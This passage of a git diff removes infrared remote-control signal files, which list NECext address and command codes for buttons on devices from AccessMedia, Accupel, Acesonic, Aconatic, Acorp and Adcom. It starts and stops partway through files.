NECext -address: 00 BF 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 13 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 19 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 45 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 48 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 50 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 51 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 52 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 54 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 56 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir deleted file mode 100644 index d93d33282..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 09 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0B 00 00 00 -# -name: KEY_QUESTION -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 11 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 12 00 00 00 -# -name: X_KEY_SWITCH -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 13 00 00 00 -# -name: X_KEY_MUSIC -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 1E 00 00 00 -# -name: X_KEY_OPT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 1F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 21 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 24 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 25 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 29 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 30 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 32 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 35 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 36 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 37 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 38 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3B 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir deleted file mode 100644 index b0244b896..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: GROUP_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: GROUP_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: PATTERN_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: PATTERN_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: LIST> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 53 00 00 00 -# -name: ABC -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 54 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 55 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 56 00 00 00 -# -name: GHI -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 57 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 58 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 5A 00 00 00 -# -name: STU -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 5B 00 00 00 -# -name: VWX -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 5C 00 00 00 -# -name: YZ -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 5D 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 5E 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 05 7A 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir deleted file mode 100644 index 41a4d1391..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SETUP -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 01 00 00 00 -# -name: MUSIC_UP -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 02 00 00 00 -# -name: MUSIC_DWN -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 03 00 00 00 -# -name: MIC_UP -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 04 00 00 00 -# -name: MIC_DWN -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 05 00 00 00 -# -name: ECHO_+ -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 06 00 00 00 -# -name: ECHO_- -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 07 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 40 00 00 00 -# -name: FEMALE -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 46 00 00 00 -# -name: MALE -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 47 00 00 00 -# -name: PAGE_DWN -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 48 00 00 00 -# -name: KEY_DWN -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 49 00 00 00 -# -name: NOTE -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 4A 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 4B 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 4C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 4E 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 4F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 50 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 51 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 52 00 00 00 -# -name: INSERT -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 53 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 54 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 55 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 56 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 57 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 58 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 59 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 5A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 5B 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 5C 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 5D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 5E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 4D 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir deleted file mode 100644 index e420eb28e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 80 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 81 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 82 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 83 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 84 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 85 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 86 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 87 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 88 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 89 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 8A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 8B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 8C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 8D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 8E 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 8F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 90 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 91 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 92 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 93 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 94 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 95 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 96 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 97 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 98 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 99 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 9A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 9B 00 00 00 -# -name: LISTENING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 9C 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 9D 00 00 00 -# -name: MIC -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 9E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C5 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C6 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C7 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C8 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CA 00 00 00 -# -name: N/P -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CB 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CD 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CE 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CF 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D0 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D1 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D2 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D3 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir deleted file mode 100644 index ea6488b64..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: function-(unused) -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: air -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: autoscan -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: function+(unused) -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: ttx -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: sync -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: X_KEY_6(unused) -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: ch-(unused) -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: ch+/- -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: func -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: scan(unused) -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: ch+(unused) -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir deleted file mode 100644 index 9a06b4817..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir +++ /dev/null @@ -1,422 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_RIGHT_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: CURSOR_LEFT_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: RDS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 02 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: 1_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 10 00 00 00 -# -name: 2_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 11 00 00 00 -# -name: 3_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 12 00 00 00 -# -name: 4_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 13 00 00 00 -# -name: 5_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 14 00 00 00 -# -name: 6_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 15 00 00 00 -# -name: 7_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 16 00 00 00 -# -name: 8_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 17 00 00 00 -# -name: 9_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 18 00 00 00 -# -name: +10_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 19 00 00 00 -# -name: 0_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 40 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 43 00 00 00 -# -name: REPEAT_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 49 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4E 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 50 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 57 00 00 00 -# -name: MODE_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 57 00 00 00 -# -name: D120 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 78 00 00 00 -# -name: D2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 79 00 00 00 -# -name: D3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7A 00 00 00 -# -name: D4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7B 00 00 00 -# -name: D5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7C 00 00 00 -# -name: D6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7D 00 00 00 -# -name: D7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7E 00 00 00 -# -name: D8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 80 00 00 00 -# -name: D9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 81 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 82 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 83 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 84 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 85 00 00 00 -# -name: VIDEO4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 86 00 00 00 -# -name: VIDEO5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 87 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 88 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 89 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 89 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8A 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8C 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 90 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 91 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 92 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 93 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 94 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 95 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 96 00 00 00 -# -name: DYNAMIC_RANGE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C1 00 00 00 -# -name: EXTERNAL_5.1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C1 00 00 00 -# -name: BACKS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C5 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C6 00 00 00 -# -name: BALANCE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C7 00 00 00 -# -name: DIM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: CA 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D1 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D1 00 00 00 -# -name: PRESET/TUNE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D3 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D5 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D5 00 00 00 -# -name: DYNAMIC_RANGE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir deleted file mode 100644 index 883807a80..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: SEARCH_FWD_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: SEARCH_REV_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: 